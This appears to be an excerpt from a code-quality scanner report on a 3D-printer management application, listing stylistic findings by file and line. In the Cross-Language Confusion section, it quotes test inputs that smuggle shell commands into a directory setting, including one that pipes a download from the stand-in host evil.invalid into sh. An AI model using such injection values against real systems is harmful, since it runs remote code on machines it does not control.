476 more matches not shown…
Self-Referential Comments83 hits · 248 pts
SeverityFileLineSnippetContext
MEDIUMdocker-publish-daily-beta.sh333 # Create the release bodyCOMMENT
MEDIUMinstall/install.sh368 # Create the target user-owned (elevating only if its parent is root-owned,COMMENT
MEDIUMinstall/docker-install.sh312 # Create a modified compose file for macOSCOMMENT
MEDIUMslicer-api/docker-compose.arm64.yml9# This file is not meant to be used on its own. It is intended to be used inCOMMENT
MEDIUMbackend/app/main.py5105 # Create a fallback archive without 3MF data so the print is still trackedCOMMENT
MEDIUMbackend/app/api/routes/maintenance.py529 # Create the assignmentCOMMENT
MEDIUMbackend/app/api/routes/settings.py1048 # Create a temporary engine for the import (current engine was disposed)COMMENT
MEDIUMbackend/app/api/routes/projects.py2013 # Create the projectCOMMENT
MEDIUMbackend/app/api/routes/projects.py2140 # Create the projectCOMMENT
MEDIUMbackend/app/services/layer_timelapse.py146 # Create a concat file listing all framesCOMMENT
MEDIUMbackend/app/services/smart_plug_manager.py458 # Create a minimal plug-like object for the serviceCOMMENT
MEDIUMbackend/app/services/bambu_mqtt.py3727 # Create a hash of relevant AMS data to detect changes.COMMENT
MEDIUMbackend/app/services/virtual_printer/manager.py1900 # This method is kept for backward compat with the settings endpoint.COMMENT
MEDIUMbackend/tests/conftest.py317 # Create a new session maker for the test engineCOMMENT
MEDIUMbackend/tests/conftest.py459 # Create a mock smart_plug_serviceCOMMENT
MEDIUM…kend/tests/unit/test_print_start_expected_promotion.py305 # Create a session without ams_mapping (simulates MQTT not providing it)COMMENT
MEDIUMbackend/tests/unit/test_archive_filtering.py697 # Create the expected output file (as FFmpeg would)COMMENT
MEDIUMbackend/tests/unit/services/test_external_camera.py279 # Create a buffer with one complete frameCOMMENT
MEDIUMbackend/tests/unit/services/test_stl_thumbnail.py42 # Create a dummy STL file (will fail to parse)COMMENT
MEDIUMbackend/tests/unit/services/test_stl_thumbnail.py61 # Create a simple ASCII STL cubeCOMMENT
MEDIUMbackend/tests/unit/services/test_virtual_printer.py431 # Create a temp 3mf fileCOMMENT
MEDIUMbackend/tests/unit/services/test_virtual_printer.py551 # Create a temp 3mf fileCOMMENT
MEDIUM…ckend/tests/unit/services/test_notification_service.py472 # Create a mock provider with digest enabledCOMMENT
MEDIUM…ckend/tests/unit/services/test_notification_service.py560 # Create a mock responseCOMMENT
MEDIUMbackend/tests/unit/services/mock_ftp_server.py152 # Create a unique handler class per instance so _failure_map is isolatedCOMMENT
MEDIUM⚡backend/tests/integration/test_camera_api.py294 # Create a fake JPEG (starts with FFD8)COMMENT
MEDIUMbackend/tests/integration/test_api_key_cloud_access.py119 # Create a legacy key directly in the DB (user_id NULL, mimickingCOMMENT
MEDIUMbackend/tests/integration/test_advanced_auth_api.py341 # Create a user with emailCOMMENT
MEDIUMbackend/tests/integration/test_security.py1571 # Create a low-privilege user (no group → no permissions in default seed).COMMENT
MEDIUMbackend/tests/integration/test_security.py1643 # Create a user explicitly in the Viewers group — it has SETTINGS_READCOMMENT
MEDIUMbackend/tests/integration/test_security.py2842 # Create a pre_auth token to simulate the post-login 2FA challenge step.COMMENT
MEDIUM⚡backend/tests/integration/test_ams_history_api.py133 # Create a recent recordCOMMENT
MEDIUM⚡backend/tests/integration/test_ams_history_api.py135 # Create an old record (outside default 24h)COMMENT
MEDIUMbackend/tests/integration/test_ams_history_api.py186 # Create an old recordCOMMENT
MEDIUMbackend/tests/integration/test_oidc_env_apply.py679 # Create a user and link it to the env-managed providerCOMMENT
MEDIUMbackend/tests/integration/test_mfa_api.py1137 # Create a regular user via user managementCOMMENT
MEDIUMbackend/tests/integration/test_mfa_api.py2286 # Create a user firstCOMMENT
MEDIUMbackend/tests/integration/test_mfa_api.py4997 # Create a temporary group and use it as default_group_idCOMMENT
MEDIUMbackend/tests/integration/test_system_api.py195 # Create a test printerCOMMENT
MEDIUMbackend/tests/integration/test_print_queue_api.py1947 # Create a printer with model X1C so the API can validateCOMMENT
MEDIUMbackend/tests/integration/test_print_queue_api.py2944 # Create a batch of 3COMMENT
MEDIUM⚡backend/tests/integration/test_library_api.py467 # Create a test userCOMMENT
MEDIUM⚡backend/tests/integration/test_library_api.py472 # Create a file with created_by_id setCOMMENT
MEDIUM⚡backend/tests/integration/test_library_api.py1104 # Create a file in DB but not on diskCOMMENT
MEDIUMbackend/tests/integration/test_library_api.py920 # Create a fake file that's not a ZIPCOMMENT
MEDIUMbackend/tests/integration/test_library_api.py932 # Create a simple ZIP file in memoryCOMMENT
MEDIUMbackend/tests/integration/test_library_api.py953 # Create a ZIP file with folder structureCOMMENT
MEDIUMbackend/tests/integration/test_library_api.py975 # Create a ZIP file with folder structureCOMMENT
MEDIUMbackend/tests/integration/test_library_api.py996 # Create a ZIP file with macOS junk filesCOMMENT
MEDIUMbackend/tests/integration/test_library_api.py1017 # Create a ZIP file with some filesCOMMENT
MEDIUMbackend/tests/integration/test_library_api.py1127 # Create a simple ASCII STL cubeCOMMENT
MEDIUMbackend/tests/integration/test_library_api.py1180 # Create a simple STL fileCOMMENT
MEDIUMbackend/tests/integration/test_library_api.py1222 # Create a ZIP file containing an STLCOMMENT
MEDIUMbackend/tests/integration/test_library_api.py1243 # Create a folderCOMMENT
MEDIUMbackend/tests/integration/test_library_api.py1646 # Create a target folder the move can land in.COMMENT
MEDIUMbackend/tests/integration/test_projects_api.py997 # Create a linked folderCOMMENT
MEDIUMbackend/tests/integration/test_projects_api.py1042 # Create a file-like objectCOMMENT
MEDIUMbackend/tests/integration/test_projects_api.py1066 # Create a ZIP file in memoryCOMMENT
MEDIUMbackend/tests/integration/test_projects_api.py1095 # Create a linked folder with is_external fieldsCOMMENT
MEDIUMbackend/tests/integration/test_projects_api.py1106 # Create a test file on diskCOMMENT
23 more matches not shown…
Deep Nesting333 hits · 224 pts
SeverityFileLineSnippetContext
LOWbackend/app/main.py747CODE
LOWbackend/app/main.py1556CODE
LOWbackend/app/main.py2123CODE
LOWbackend/app/main.py2487CODE
LOWbackend/app/main.py2594CODE
LOWbackend/app/main.py3992CODE
LOWbackend/app/main.py5505CODE
LOWbackend/app/main.py5624CODE
LOWbackend/app/main.py5958CODE
LOWbackend/app/main.py6085CODE
LOWbackend/app/main.py6614CODE
LOWbackend/app/main.py6971CODE
LOWbackend/app/main.py8663CODE
LOWbackend/app/main.py9007CODE
LOWbackend/app/main.py9121CODE
LOWbackend/app/main.py9588CODE
LOWbackend/app/main.py7978CODE
LOWbackend/app/main.py8250CODE
LOWbackend/app/main.py8366CODE
LOWbackend/app/main.py8457CODE
LOWbackend/app/main.py7560CODE
LOWbackend/app/core/auth.py412CODE
LOWbackend/app/core/auth.py1297CODE
LOWbackend/app/core/auth.py1645CODE
LOWbackend/app/core/database.py1089CODE
LOWbackend/app/core/database.py1813CODE
LOWbackend/app/core/database.py5864CODE
LOWbackend/app/core/database.py6243CODE
LOWbackend/app/utils/threemf_tools.py32CODE
LOWbackend/app/utils/threemf_tools.py168CODE
LOWbackend/app/utils/threemf_tools.py235CODE
LOWbackend/app/utils/threemf_tools.py557CODE
LOWbackend/app/utils/threemf_tools.py613CODE
LOWbackend/app/utils/threemf_tools.py833CODE
LOWbackend/app/utils/threemf_tools.py1378CODE
LOWbackend/app/utils/threemf_tools.py1630CODE
LOWbackend/app/utils/threemf_tools.py1862CODE
LOWbackend/app/utils/threemf_tools.py1726CODE
LOWbackend/app/utils/tray_split.py27CODE
LOWbackend/app/utils/notification_photos.py51CODE
LOWbackend/app/api/routes/mfa.py1134CODE
LOWbackend/app/api/routes/mfa.py1767CODE
LOWbackend/app/api/routes/slicer_presets.py103CODE
LOWbackend/app/api/routes/slicer_presets.py186CODE
LOWbackend/app/api/routes/slicer_presets.py465CODE
LOWbackend/app/api/routes/auth.py259CODE
LOWbackend/app/api/routes/auth.py449CODE
LOWbackend/app/api/routes/auth.py780CODE
LOWbackend/app/api/routes/auth.py1896CODE
LOWbackend/app/api/routes/system.py244CODE
LOWbackend/app/api/routes/finance.py76CODE
LOWbackend/app/api/routes/spoolman.py76CODE
LOWbackend/app/api/routes/spoolman.py213CODE
LOWbackend/app/api/routes/spoolman.py449CODE
LOWbackend/app/api/routes/spoolman.py832CODE
LOWbackend/app/api/routes/spoolman.py1228CODE
LOWbackend/app/api/routes/support.py790CODE
LOWbackend/app/api/routes/support.py1265CODE
LOWbackend/app/api/routes/library.py606CODE
LOWbackend/app/api/routes/library.py701CODE
273 more matches not shown…
Modern Structural Boilerplate206 hits · 202 pts
SeverityFileLineSnippetContext
LOWbackend/app/core/oidc_env.py21logger = logging.getLogger(__name__)CODE
LOWbackend/app/core/auth.py28logger = logging.getLogger(__name__)CODE
LOWbackend/app/core/encryption.py30logger = logging.getLogger(__name__)CODE
LOWbackend/app/core/tasks.py29logger = logging.getLogger(__name__)CODE
LOWbackend/app/core/database.py12logger = logging.getLogger(__name__)CODE
LOWbackend/app/core/asyncio_handlers.py17logger = logging.getLogger(__name__)CODE
LOWbackend/app/utils/paho_teardown.py25logger = logging.getLogger(__name__)CODE
LOWbackend/app/utils/local_time.py22logger = logging.getLogger(__name__)CODE
LOWbackend/app/utils/threemf_tools.py25logger = logging.getLogger(__name__)CODE
LOWbackend/app/utils/notification_photos.py35logger = logging.getLogger(__name__)CODE
LOWbackend/app/utils/library_paths.py22logger = logging.getLogger(__name__)CODE
LOWbackend/app/models/__init__.py49__all__ = [CODE
LOWbackend/app/schemas/__init__.py25__all__ = [CODE
LOW⚡backend/app/api/routes/mfa.py625async def _set_email_2fa_enabled(db: AsyncSession, user_id: int, enabled: bool) -> None:CODE
LOWbackend/app/api/routes/mfa.py90logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/slicer_presets.py59logger = logging.getLogger(__name__)CODE
LOW⚡backend/app/api/routes/auth.py222async def set_advanced_auth_enabled(db: AsyncSession, enabled: bool) -> None:CODE
LOW⚡backend/app/api/routes/auth.py229async def set_auth_enabled(db: AsyncSession, enabled: bool) -> None:CODE
LOWbackend/app/api/routes/auth.py250async def set_setup_completed(db: AsyncSession, completed: bool) -> None:CODE
LOWbackend/app/api/routes/library_trash.py43logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/user_notifications.py16logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/labels.py54logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/sponsor_prompt.py18logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/library_variants.py60logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/ha_sensors.py25logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/spoolman.py44logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/support.py48logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/library.py112logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/print_log.py21logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/firmware.py29logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/cloud.py70logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/spoolman_inventory.py81logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/discovery.py24logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/webhook.py19logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/maintenance.py31logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/slicer_pipelines.py30logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/location_ha_sensors.py26logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/updates.py23logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/local_presets.py32logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/archives.py69logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/spoolbuddy.py46logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/orca_cloud.py64logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/external_links.py29logger = logging.getLogger(__name__)CODE
LOW⚡backend/app/api/routes/pipeline_runs.py66logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/makerworld.py66logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/local_backup.py13logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/camera.py51logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/github_backup.py34logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/_spoolman_helpers.py18logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/settings.py28logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/settings.py163async def set_setting(db: AsyncSession, key: str, value: str) -> None:CODE
LOWbackend/app/api/routes/virtual_printers.py19logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/printers.py101logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/notifications.py35logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/api_keys.py19logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/smart_plugs.py45logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/print_queue.py66logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/projects.py50logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/connected_apps.py67logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/library_tags.py51logger = logging.getLogger(__name__)CODE
146 more matches not shown…
Cross-Language Confusion32 hits · 170 pts
SeverityFileLineSnippetContext
HIGHbackend/app/core/auth.py2275 - Ownerless items (created_by_id = null) require ``all_permission``STRING
HIGHbackend/app/core/database.py1933 "UPDATE cost_centers SET code = substr(md5(random()::text || clock_timestamp()::text), 1, 12) "CODE
HIGHbackend/app/models/library.py184 # Soft-delete / trash bin (Issue #1008). When non-null, the file is in theCOMMENT
HIGHbackend/app/models/archive.py153 # Soft-delete sentinel (#1343). When non-null, the UI hides this archiveCOMMENT
HIGHbackend/app/schemas/library.py239 # never null, so the FE can iterate without a guard.COMMENT
HIGHbackend/app/schemas/location_ha_sensor.py30 # null, so the UI would show an empty field over a poisoned row.COMMENT
HIGHbackend/app/schemas/location_ha_sensor.py95 # serialization turns them into null, which is also what the edit formCOMMENT
HIGHbackend/app/api/routes/library.py5913 pass # leave hash null; dedup just won't match this rowCODE
HIGHbackend/app/api/routes/spoolman_inventory.py2185 _raise_if_partial_failure(spools_to_clear, results, "spool_weight clear (option B null)")CODE
HIGHbackend/app/api/routes/spoolman_inventory.py93 """Return True when a PATCH field explicitly removes a tag (null)."""STRING
HIGHbackend/app/api/routes/spoolman_inventory.py2115 is null, clears per-spool overrides so spools fall back to the filament value.STRING
HIGHbackend/app/api/routes/updates.py961 "git pull && docker compose build --pull && docker compose up -d"CODE
HIGHbackend/app/api/routes/settings.py558 # 403'd, the value arrived undefined, `undefined !== true` held, and theCOMMENT
HIGHbackend/app/services/print_scheduler.py6486 2. Chamber target — `item.preheat_chamber_target_override` if non-null;STRING
HIGHbackend/app/services/printer_manager.py1453 # object a second later, the field reads undefined, and theCOMMENT
HIGH⚡backend/app/services/spoolbuddy_ssh.py339 "sudo find /home -maxdepth 5 -path '*/chromium/Default/Service Worker' -type d -exec rm -rf {} + 2>/dev/nullCODE
HIGH⚡backend/tests/unit/test_main_plug_rank_2830.py199 backfilled with the default and nothing writes a null, but a rank thatSTRING
HIGH⚡backend/tests/unit/test_compose_dir_setting.py37 "/opt/bambuddy && curl evil.invalid/x | sh",CODE
HIGH⚡backend/tests/unit/test_compose_dir_setting.py41 '/opt/bambuddy" && echo pwned && echo "',CODE
HIGH⚡…/tests/unit/test_scheduler_preheat_ams_mapping_2886.py220 pytest.param("[null, null]", id="all-null"),CODE
HIGH⚡backend/tests/integration/test_library_api.py444 # User tracking fields should be present (even if null)COMMENT
HIGH⚡backend/tests/integration/test_library_api.py456 # User tracking fields should be present (even if null)COMMENT
HIGHbackend/tests/integration/test_ownership_permissions.py6- Ownerless items (created_by_id = null) require *_all permissionSTRING
HIGHbackend/tests/integration/test_ownership_permissions.py523 """Ownerless archive (created_by_id=null) requires REPRINT_ALL.STRING
HIGHbackend/tests/integration/test_ownership_permissions.py1745 """Ownerless rows (created_by_id = null, legacy data) require *_ALL — anSTRING
HIGH…ckend/tests/integration/test_oidc_group_sync_routes.py275 "mapping", ['{"staff": null}', '{"staff": 5}', '{"Admins": "Viewers", "admins": "Viewers"}']CODE
HIGHbackend/tests/integration/test_inventory_assign.py450 """When slicer_filament_name is null, falls back to tray_sub_brands."""STRING
HIGH⚡…ckend/tests/integration/test_spoolman_inventory_api.py2638 """Sending {tag_uid: null, tray_uuid: null} → at_least_one validator → 422."""STRING
HIGHbackend/tests/integration/test_color_catalog_extras.py52 """PUT with empty extra_colors clears the field (server normalizes "" → null)."""STRING
HIGHbackend/tests/integration/test_settings_api.py1007 # And a fresh GET also sees it as null, not the literal string "None".COMMENT
HIGHbackend/tests/integration/test_printers_api.py1942 detail had filament_id=null, and what #1053 pinned. The A1 measurementSTRING
HIGHinstallers/windows/build.py207 """Run ``npm ci && npm run build`` and return the build output path.STRING
Redundant / Tautological Comments121 hits · 160 pts
SeverityFileLineSnippetContext
LOWinstall/install.sh304 # Check if Homebrew is installedCOMMENT
LOWinstall/install.sh988 # Check if running via pipe (curl | bash) - interactive mode won't workCOMMENT
LOWinstall/docker-install.sh341 # Check if container is running (Up)COMMENT
LOWinstall/docker-install.sh347 # Check if container failedCOMMENT
LOWinstall/docker-install.sh469 # Check if running via pipe (curl | bash) - interactive mode won't workCOMMENT
LOWinstall/docker-install.sh498 # Check if Docker daemon is runningCOMMENT
LOWdeploy/docker-entrypoint.sh42 # Check if we have any certificates to process. Error if directory is emptyCOMMENT
LOWtests/e2e_comprehensive_test.py195 # Check if modal openedCOMMENT
LOWtests/e2e_comprehensive_test.py241 # Check if dark theme is applied (should be default)COMMENT
LOW⚡backend/app/main.py2889 # Check if Spoolman is enabledCOMMENT
LOWbackend/app/main.py2685 # Check if assignment already exists for this slotCOMMENT
LOWbackend/app/main.py2921 # Check if Spoolman is reachableCOMMENT
LOWbackend/app/main.py4306 # Check if this is an expected print from reprint/scheduledCOMMENT
LOWbackend/app/main.py4512 # Check if there's already a "printing" archive for this printer/fileCOMMENT
LOWbackend/app/main.py7354 # Check if queue is now empty and send notificationCOMMENT
LOWbackend/app/main.py7410 # Check if any provider has on_bed_cooled enabled (skip registration if none)COMMENT
LOWbackend/app/main.py8153 # Check if camera stream is active - use buffered frame to avoid freezeCOMMENT
LOWbackend/app/main.py10475 # Check if auth is enabled. Fail CLOSED on any exception during theCOMMENT
LOWbackend/app/core/auth.py1460 # Check if it's an API key (starts with bb_)COMMENT
LOWbackend/app/core/auth.py1680 # Check if key matches (verify against hash)COMMENT
LOWbackend/app/core/auth.py1903 # Check if it's an API key (starts with bb_)COMMENT
LOWbackend/app/core/auth.py1986 # Check if it's an API key (starts with bb_)COMMENT
LOWbackend/app/core/auth.py2325 # Check if it's an API key (starts with bb_)COMMENT
LOWbackend/app/core/database.py2552 # Check if archive_id needs to be made nullable (requires table recreation in SQLite)STRING
LOWbackend/app/utils/threemf_tools.py655 # Check if only one extruder is active.COMMENT
LOWbackend/app/models/archive.py67 # Print resultCOMMENT
LOWbackend/app/api/routes/auth.py277 # Check if admin users already existCOMMENT
LOWbackend/app/api/routes/auth.py307 # Check if username already exists (shouldn't happen if no admin users exist, but check anyway)COMMENT
LOWbackend/app/api/routes/auth.py459 # Check if auth is enabledCOMMENT
LOWbackend/app/api/routes/auth.py484 # Check if LDAP is enabledCOMMENT
LOWbackend/app/api/routes/auth.py716 # Check if it's an API key (starts with bb_)COMMENT
LOWbackend/app/api/routes/auth.py1088 # Check if advanced auth is enabledCOMMENT
LOWbackend/app/api/routes/auth.py1265 # Check if advanced auth is enabledCOMMENT
LOWbackend/app/api/routes/metrics.py66 # Check if enabledCOMMENT
LOWbackend/app/api/routes/spoolman.py219 # Check if Spoolman is enabled and connectedCOMMENT
LOWbackend/app/api/routes/spoolman.py454 # Check if Spoolman is enabledCOMMENT
LOWbackend/app/api/routes/spoolman.py802 # Check if spool has a tag in extra fieldCOMMENT
LOWbackend/app/api/routes/support.py1429 # Check if debug logging is enabled and collect sensitive values for redactionCOMMENT
LOWbackend/app/api/routes/library.py2084 # Check if subfolder has any remaining filesCOMMENT
LOWbackend/app/api/routes/library.py2092 # Check if it has any remaining child foldersCOMMENT
LOWbackend/app/api/routes/library.py2549 # Check if folder already existsCOMMENT
LOWbackend/app/api/routes/library.py2603 # Check if folder existsCOMMENT
LOWbackend/app/api/routes/library.py3657 # Check if this is the requested plateCOMMENT
LOWbackend/app/api/routes/users.py113 # Check if advanced auth is enabledCOMMENT
LOWbackend/app/api/routes/users.py118 # Check if username already exists (case-insensitive)COMMENT
LOWbackend/app/api/routes/users.py140 # Check if email already exists (case-insensitive)COMMENT
LOWbackend/app/api/routes/users.py296 # Check if new username already exists (case-insensitive)COMMENT
LOWbackend/app/api/routes/users.py308 # Check if new email already exists (case-insensitive)COMMENT
LOWbackend/app/api/routes/maintenance.py518 # Check if already assignedCOMMENT
LOWbackend/app/api/routes/updates.py374 # Check if this is a prerelease (has b/beta/alpha/rc/daily suffix anywhere)COMMENT
LOWbackend/app/api/routes/updates.py467 # Check if beta updates should be includedCOMMENT
LOWbackend/app/api/routes/archives.py3765 # Check if source 3MF exists - this is where actual mesh data typically livesCOMMENT
LOWbackend/app/api/routes/groups.py106 # Check if group name already existsCOMMENT
LOWbackend/app/api/routes/groups.py190 # Check if updating name to one that already existsCOMMENT
LOWbackend/app/api/routes/groups.py297 # Check if user is already in groupCOMMENT
LOWbackend/app/api/routes/groups.py335 # Check if user is in groupCOMMENT
LOWbackend/app/api/routes/camera.py227 # Check if client disconnectedCOMMENT
LOWbackend/app/api/routes/camera.py874 # Check if stream was explicitly stopped (e.g., by stop endpoint)COMMENT
LOWbackend/app/api/routes/camera.py1435 # Check if there's an active stream for this printerCOMMENT
LOWbackend/app/api/routes/settings.py373 # Check if any MQTT settings are being updatedCOMMENT
61 more matches not shown…
Structural Annotation Overuse48 hits · 79 pts
SeverityFileLineSnippetContext
LOW⚡docker-publish-daily-beta.sh102# Step 1: Read and validate APP_VERSIONCOMMENT
LOW⚡docker-publish-daily-beta.sh127# Step 2: Build & push Docker imagesCOMMENT
LOW⚡docker-publish-daily-beta.sh288# Step 3: Create/update GitHub releaseCOMMENT
LOW⚡docker-publish-daily-beta.sh380# Step 4: VerifyCOMMENT
LOWfrontend/src/components/TwoFactorSettings.tsx205 // Step 1: request verification code (proof of possession)COMMENT
LOWfrontend/src/components/TwoFactorSettings.tsx222 // Step 2: confirm with the code received by emailCOMMENT
LOWfrontend/src/components/SliceModal.tsx720 // Step 1: plate picker for multi-plate 3MF sources. Cancelling closes theCOMMENT
LOW⚡frontend/src/components/spoolbuddy/DiagnosticModal.tsx37 // Step 1: Queue the diagnostic on the deviceCOMMENT
LOW⚡frontend/src/components/spoolbuddy/DiagnosticModal.tsx41 // Step 2: Poll for results with timeoutCOMMENT
LOW⚡frontend/src/__tests__/components/SliceModal.test.tsx1042 // Step 1: pick Plate 2.COMMENT
LOW⚡frontend/src/__tests__/components/SliceModal.test.tsx1046 // Step 2: profile dropdowns are now visible.COMMENT
LOW⚡frontend/src/__tests__/components/SliceModal.test.tsx1049 // Step 3: submit and verify the plate index made it into the body.COMMENT
LOW⚡frontend/src/api/client.ts4716 // Step 1: send a verification code to the user's email (proof of possession)COMMENT
LOW⚡frontend/src/api/client.ts4719 // Step 2: confirm with the code received by emailCOMMENT
LOWbackend/app/core/database.py4563 # Step 1: link old log entries to their archive via print_name + printer_id.COMMENT
LOWbackend/app/core/database.py4587 # Step 2: backfill cost / energy_kwh / energy_cost onto the latest linkedSTRING
LOWbackend/app/services/ldap_service.py395 # Step 2: Bind as the user to verify passwordCOMMENT
LOWbackend/app/services/spoolbuddy_ssh.py255 # Step 1: Test SSH connectivityCOMMENT
LOWbackend/app/services/spoolbuddy_ssh.py284 # Step 2: Git fetchCOMMENT
LOWbackend/app/services/spoolbuddy_ssh.py297 # Step 3: Git checkout + resetCOMMENT
LOWbackend/app/services/spoolbuddy_ssh.py310 # Step 4: Install dependenciesCOMMENT
LOWbackend/app/services/spoolbuddy_ssh.py323 # Step 5: Restart daemonCOMMENT
LOW⚡backend/app/services/spoolbuddy_ssh.py335 # Step 6: Clear browser cache and restart kioskCOMMENT
LOW⚡backend/tests/unit/services/test_bambu_mqtt.py4998 # Step 1: Stale detection triggersCOMMENT
LOW⚡backend/tests/unit/services/test_bambu_mqtt.py5002 # Step 2: Paho fires disconnect callback (from socket close)COMMENT
LOW⚡backend/tests/unit/services/test_bambu_mqtt.py5007 # Step 3: Paho reconnectsCOMMENT
LOWbackend/tests/unit/services/test_bambu_mqtt.py3322 # Step 1: Right extruder loads AMS 0 slot 0COMMENT
LOWbackend/tests/unit/services/test_bambu_mqtt.py3334 # Step 2: Switch to left, load AMS HTCOMMENT
LOWbackend/tests/unit/services/test_bambu_mqtt.py3347 # Step 3: Switch back to right, load AMS 0 slot 2COMMENT
LOWbackend/tests/unit/services/test_bambu_mqtt.py3360 # Step 4: UnloadCOMMENT
LOWbackend/tests/unit/services/test_smart_plug_manager.py595 # Step 1: Print starts — plug turns onCOMMENT
LOWbackend/tests/unit/services/test_smart_plug_manager.py610 # Step 2: Print completes — auto-off is scheduledCOMMENT
LOWbackend/tests/unit/services/test_smart_plug_manager.py622 # Step 3: Auto-off executes via _mark_auto_off_executedCOMMENT
LOW⚡backend/tests/integration/test_mfa_api.py2804 # Step 1: Initial TOTP setup (no active TOTP yet → no code required)COMMENT
LOW⚡backend/tests/integration/test_mfa_api.py2812 # Step 2: Enable TOTP with a valid codeCOMMENT
LOW⚡backend/tests/integration/test_mfa_api.py2821 # Step 3: Determine current valid code and its counterCOMMENT
LOW⚡backend/tests/integration/test_mfa_api.py2833 # Step 4: Pre-set last_totp_counter so this code looks already usedCOMMENT
LOW⚡backend/tests/integration/test_mfa_api.py2837 # Step 5: Attempt setup_totp with the "already used" code → must be rejectedCOMMENT
LOW⚡.github/MAINTAINERS.md9### Step 1: Basic SettingsCOMMENT
LOW⚡.github/MAINTAINERS.md16### Step 2: Bypass List (optional)COMMENT
LOW⚡.github/MAINTAINERS.md21### Step 3: Target BranchesCOMMENT
LOW⚡.github/MAINTAINERS.md25### Step 4: Branch RulesCOMMENT
LOW⚡spoolbuddy/daemon/nau7802.py96 # Step 1: Reset (set RR=1, then RR=0)COMMENT
LOW⚡spoolbuddy/daemon/nau7802.py103 # Step 2: Power up digital (PUD=1 auto-starts AD conversion)COMMENT
LOW⚡spoolbuddy/daemon/nau7802.py109 # Step 3: Wait for power-up ready (PUR bit 3)COMMENT
LOW⚡spoolbuddy/daemon/nau7802.py127 # Step 4: Configure deviceCOMMENT
LOW⚡spoolbuddy/daemon/nau7802.py145 # Step 5: Tuning per application notesCOMMENT
LOW⚡spoolbuddy/daemon/nau7802.py151 # Step 6: Trigger fresh AD conversion and wait for first resultCOMMENT
Verbosity Indicators44 hits · 71 pts
SeverityFileLineSnippetContext
LOW⚡docker-publish-daily-beta.sh102# Step 1: Read and validate APP_VERSIONCOMMENT
LOW⚡docker-publish-daily-beta.sh127# Step 2: Build & push Docker imagesCOMMENT
LOW⚡docker-publish-daily-beta.sh288# Step 3: Create/update GitHub releaseCOMMENT
LOW⚡docker-publish-daily-beta.sh380# Step 4: VerifyCOMMENT
LOWfrontend/src/components/TwoFactorSettings.tsx205 // Step 1: request verification code (proof of possession)COMMENT
LOWfrontend/src/components/TwoFactorSettings.tsx222 // Step 2: confirm with the code received by emailCOMMENT
LOWfrontend/src/components/SliceModal.tsx720 // Step 1: plate picker for multi-plate 3MF sources. Cancelling closes theCOMMENT
LOW⚡frontend/src/components/spoolbuddy/DiagnosticModal.tsx37 // Step 1: Queue the diagnostic on the deviceCOMMENT
LOW⚡frontend/src/components/spoolbuddy/DiagnosticModal.tsx41 // Step 2: Poll for results with timeoutCOMMENT
LOW⚡frontend/src/__tests__/components/SliceModal.test.tsx1042 // Step 1: pick Plate 2.COMMENT
LOW⚡frontend/src/__tests__/components/SliceModal.test.tsx1046 // Step 2: profile dropdowns are now visible.COMMENT
LOW⚡frontend/src/__tests__/components/SliceModal.test.tsx1049 // Step 3: submit and verify the plate index made it into the body.COMMENT
LOW⚡frontend/src/api/client.ts4716 // Step 1: send a verification code to the user's email (proof of possession)COMMENT
LOW⚡frontend/src/api/client.ts4719 // Step 2: confirm with the code received by emailCOMMENT
LOWbackend/app/core/database.py4563 # Step 1: link old log entries to their archive via print_name + printer_id.COMMENT
LOWbackend/app/core/database.py4587 # Step 2: backfill cost / energy_kwh / energy_cost onto the latest linkedSTRING
LOWbackend/app/services/ldap_service.py395 # Step 2: Bind as the user to verify passwordCOMMENT
LOWbackend/app/services/spoolbuddy_ssh.py255 # Step 1: Test SSH connectivityCOMMENT
LOWbackend/app/services/spoolbuddy_ssh.py284 # Step 2: Git fetchCOMMENT
LOWbackend/app/services/spoolbuddy_ssh.py297 # Step 3: Git checkout + resetCOMMENT
LOWbackend/app/services/spoolbuddy_ssh.py310 # Step 4: Install dependenciesCOMMENT
LOWbackend/app/services/spoolbuddy_ssh.py323 # Step 5: Restart daemonCOMMENT
LOW⚡backend/app/services/spoolbuddy_ssh.py335 # Step 6: Clear browser cache and restart kioskCOMMENT
LOW⚡backend/tests/unit/services/test_bambu_mqtt.py4998 # Step 1: Stale detection triggersCOMMENT
LOW⚡backend/tests/unit/services/test_bambu_mqtt.py5002 # Step 2: Paho fires disconnect callback (from socket close)COMMENT
LOW⚡backend/tests/unit/services/test_bambu_mqtt.py5007 # Step 3: Paho reconnectsCOMMENT
